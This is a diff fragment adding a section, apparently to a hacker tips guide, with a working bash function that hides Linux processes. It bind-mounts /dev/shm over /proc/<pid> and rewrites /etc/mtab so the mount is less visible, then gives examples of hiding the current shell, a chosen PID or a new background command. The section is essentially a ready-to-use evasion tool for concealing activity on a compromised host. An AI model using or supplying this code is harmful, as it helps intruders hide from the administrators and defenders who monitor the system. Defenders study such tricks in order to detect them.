+**1.iv. Hide a process**
+
+This requires ```root`` privileges and is an old Linux trick by over-mounting /proc/&lt;pid&gt; with a useless directory:
+```sh
+hide()
+{
+    [[ -L /etc/mtab ]] && { cp /etc/mtab /etc/mtab.bak; mv /etc/mtab.bak /etc/mtab; }
+    _pid=${1:-$$}
+    [[ $_pid =~ ^[0-9]+$ ]] && { mount -n --bind /dev/shm /proc/$_pid && echo "[THC] PID $_pid is now hidden"; return; }
+    local _argstr
+    for _x in "${@:2}"; do _argstr+=" '${_x//\'/\'\"\'\"\'}'"; done
+    [[ $(bash -c "ps -o etimes= -p \$PPID") -eq 0 ]] && exec bash -c "mount -n --bind /dev/shm /proc/\$\$; exec \"$1\" $_argstr"
+    bash -c "mount -n --bind /dev/shm /proc/\$\$; exec \"$1\" $_argstr"
+}
+```
+
+The use this to hide a command:
+```sh
+hide                                 # Hides the current shell/PID
+hide 31337                           # Hides process with pid 31337
+hide sleep 1234                      # Hides 'sleep 1234'
+hide nohup sleep 1234 &>/dev/null &  # Starts and hides the hidden background process 'sleep 1234'
+```
